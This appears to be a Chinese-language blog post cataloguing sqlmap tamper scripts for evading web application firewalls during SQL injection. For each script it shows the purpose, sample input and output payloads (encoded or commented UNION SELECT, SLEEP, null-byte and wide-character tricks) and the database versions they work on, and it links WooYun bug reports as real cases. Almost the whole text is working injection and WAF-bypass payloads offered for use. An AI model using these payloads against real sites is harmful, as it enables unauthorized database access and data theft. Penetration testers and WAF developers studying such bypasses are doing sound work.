使用sqlmap中tamper脚本绕过waf

0x00 背景

sqlmap中的tamper脚本来对目标进行更高效的攻击。

由于乌云知识库少了sqlmap-tamper 收集一下，方便学习。根据sqlmap中的tamper脚本可以学习过绕过一些技巧。我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。小学生毕业的我，着能偷偷说一下多做一些收集对吸收知识很快。

0x01 start

脚本名：apostrophemask.py

作用：用utf8代替引号

Example: (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’

Tested against: all

脚本名：equaltolike.py

作用：like 代替等号
Example:

*Input:SELECT * FROM users WHERE id=1

*Output:SELECT * FROM users WHERE id LIKE 1
案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三：http://wooyun.org/bugs/wooyun-2010-072489

脚本名：space2dash.py

作用：绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）
Example: (‘1 AND 9227=9227’) ‘1–
nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’
Tested against: * MSSQL * SQLite

案例一：http://wooyun.org/bugs/wooyun-2010-062878

脚本名：greatest.py

作用：绕过过滤’>’ ,用GREATEST替换大于号。

Example: (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ Tested against:

* MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名：space2hash.py

作用：空格替换为#号随机字符串以及换行符

Example:

* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

MySQL Tested against:

MySQL 4.0, 5.0

参考: 法克的一篇文章

脚本名：apostrophenullencode.py

作用：绕过过滤双引号，替换字符和双引号。

Example: tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’

Tested against:

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

脚本名：halfversionedmorekeywords.py

作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

Example:

(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),
IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),
NULL, NULL# AND ‘QDWa’=’QDWa”) “value’/*!0UNION/*!

0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),
/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),
/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa”

Requirement:

MySQL < 5.1
Tested against:

MySQL 4.0.18, 5.0.22

脚本名：space2morehash.py

作用：空格替换为 #号以及更多随机字符串换行符

Example:

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一: 91ri一篇文章

脚本名：appendnullbyte.py

作用：在有效负荷结束位置加载零字节字符编码

Example: (‘1 AND 1=1’) ‘1 AND 1=1%00’

Requirement:

Microsoft Access

脚本名：ifnull2ifisnull.py

作用：绕过对 IFNULL 过滤。替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

Example:

(‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’

Requirement:

MySQL

SQLite (possibly)

SAP MaxDB (possibly)

Tested against:

MySQL 5.0 and 5.5

脚本名：space2mssqlblank.py(mssql)

作用：空格替换为其它空符号

Example: * Input: SELECT id FROM users *

Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: *

Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名：base64encode.py

作用：用base64编码替换

Example: (“1′ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名：space2mssqlhash.py

作用：替换空格

Example: (‘1 AND 9227=9227’) ‘1%23%0AAND

%23%0A9227=9227’ Requirement: * MSSQL * MySQL

脚本名：modsecurityversioned.py

作用：过滤空格，包含完整的查询版本注释
Example: (‘1 AND 2>1–‘) ‘1 /*!30874AND 2>1*/–‘
Requirement: * MySQL

Tested against:

MySQL 5.0

脚本名：space2mysqlblank.py

作用：空格替换其它空白符号(mysql)

Example:

* Input: SELECT id FROM users

* Output: SELECT%0Bid%0BFROM%A0users
Requirement:

MySQL
Tested against:

MySQL 5.1
案例一:wooyun.org/bugs/wooyun-2010-076735

脚本名：between.py

作用：用between替换大于号（>）
Example: (‘1 AND A > B–‘) ‘1
AND A NOT BETWEEN 0 AND B–‘
Tested against:

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5 * Oracle

10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名：space2mysqldash.py

作用：替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）

注：之前有个mssql的这个是mysql的

Example: (‘1 AND 9227=9227’) ‘1
–%0AAND–%0A9227=9227’
Requirement:

MySQL

MSSQL

脚本名：multiplespaces.py

作用：围绕SQL关键字添加多个空格

Example: (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

脚本名：space2plus.py

作用：用+替换空格

Example: (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’

Tested against: all

脚本名：bluecoat.py

作用：代替空格字符后与一个有效的随机空白字符的SQL语句。然后替换=为like

Example: (‘SELECT id FROM users where id = 1’)

‘SELECT%09id FROM users where id LIKE 1’

Tested against:

MySQL 5.1, SGOS

脚本名：nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 suitable for替代
（例如 .replace（“SELECT”、””)） filters
Example: (‘1 UNION SELECT 2–‘) ‘1

UNIOUNIONN SELESELECTCT 2–‘

Tested against: all

脚本名：space2randomblank.py

作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集

Example: (‘SELECT id FROM users’)

‘SELECT%0Did%0DFROM%0Ausers’

Tested against: all

脚本名：sp_password.py

作用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

Example: (‘1 AND 9227=9227– ‘) ‘1

AND 9227=9227– sp_password’

Requirement: * MSSQL

脚本名：chardoubleencode.py

作用: 双url编码(不处理以编码的)

Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%

2543%2554%2520%2546%2549%2545%
254c%2544%2520%2546%2552%254f%

254d%2520%2554%2541%2542%254c%2545

脚本名：unionalltounion.py

作用：替换UNION ALL SELECT UNION SELECT

Example: (‘-1 UNION ALL SELECT’) ‘

-1 UNION SELECT’

Requirement: all

脚本名：charencode.py

作用：url编码

Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%

43%54%20%46%49%45%4c%

44%20%46%52%4f%4d%20%

54%41%42%4c%45

tested against:

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

脚本名：randomcase.py

作用：随机大小写

Example:

Input: INSERT

Output: InsERt

Tested against:

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

脚本名：unmagicquotes.py

作用：宽字符绕过 GPC addslashes

Example:

* Input: 1′ AND 1=1

* Output: 1%bf%27 AND 1=1–%20

脚本名：randomcomments.py

作用：用/**/分割sql关键字
Example:

‘INSERT’ becomes ‘IN//S//ERT’

脚本名：charunicodeencode.py

作用：字符串 unicode 编码

Example:

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%

u004c%u0045%u0043

%u0054%u0020%u0046%

u0049%u0045%u004c%
u0044%u0020%u0046%

u0052%u004f%u004d%

u0020%u0054%u0041%

u0042%u004c%u0045′
Requirement:

ASP

ASP.NET

Tested against:

Microsoft SQL Server 2000

Microsoft SQL Server 2005

MySQL 5.1.56

PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

脚本名：securesphere.py

作用：追加特制的字符串

Example: (‘1 AND 1=1’) “1 AND

1=1 and ‘0having’=’0having'”

Tested against: all

脚本名：versionedmorekeywords.py

作用：注释绕过

Example:

* Input: 1 UNION ALL SELECT NULL,

NULL, CONCAT(CHAR(58,122,114,115,58),
IFNULL(CAST(CURRENT_USER() AS CHAR),

CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1/*!UNION**!ALL**

!SELECT**!NULL*/,/*!NULL*/,
/*!CONCAT*/(/*!CHAR*

/(58,122,114,115,58),
/*!IFNULL*/(CAST(/*!CURRENT_USER*

/()/*!AS**!CHAR*/),
/*!CHAR*/(32)),/*!CHAR*

/(58,115,114,121,58))#
Requirement:

MySQL >= 5.1.13

脚本名：space2comment.py

作用：Replaces space character (‘ ‘) with comments ‘/**/’

Example:

* Input: SELECT id FROM users

* Output: SELECT//id//FROM/**/users

Tested against:

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

脚本名：halfversionedmorekeywords.py

作用：关键字前加注释

Example:

* Input: value’ UNION ALL SELECT

CONCAT(CHAR(58,107,112,113,58),
IFNULL(CAST(CURRENT_USER() AS CHAR),
CHAR(32)),CHAR(58,97,110,121,58)),

NULL, NULL# AND ‘QDWa’=’QDWa

* Output: value’/*!0UNION/*!0ALL/*!

0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),
/*!0IFNULL(CAST(/*!0CURRENT_USER()

/*!0AS/*!0CHAR),/*!0CHAR(32)),
/*!0CHAR(58,97,110,121,58)),

NULL, NULL#/*!0AND ‘QDWa’=’QDWa

Requirement:

MySQL < 5.1
Tested against:

MySQL 4.0.18, 5.0.22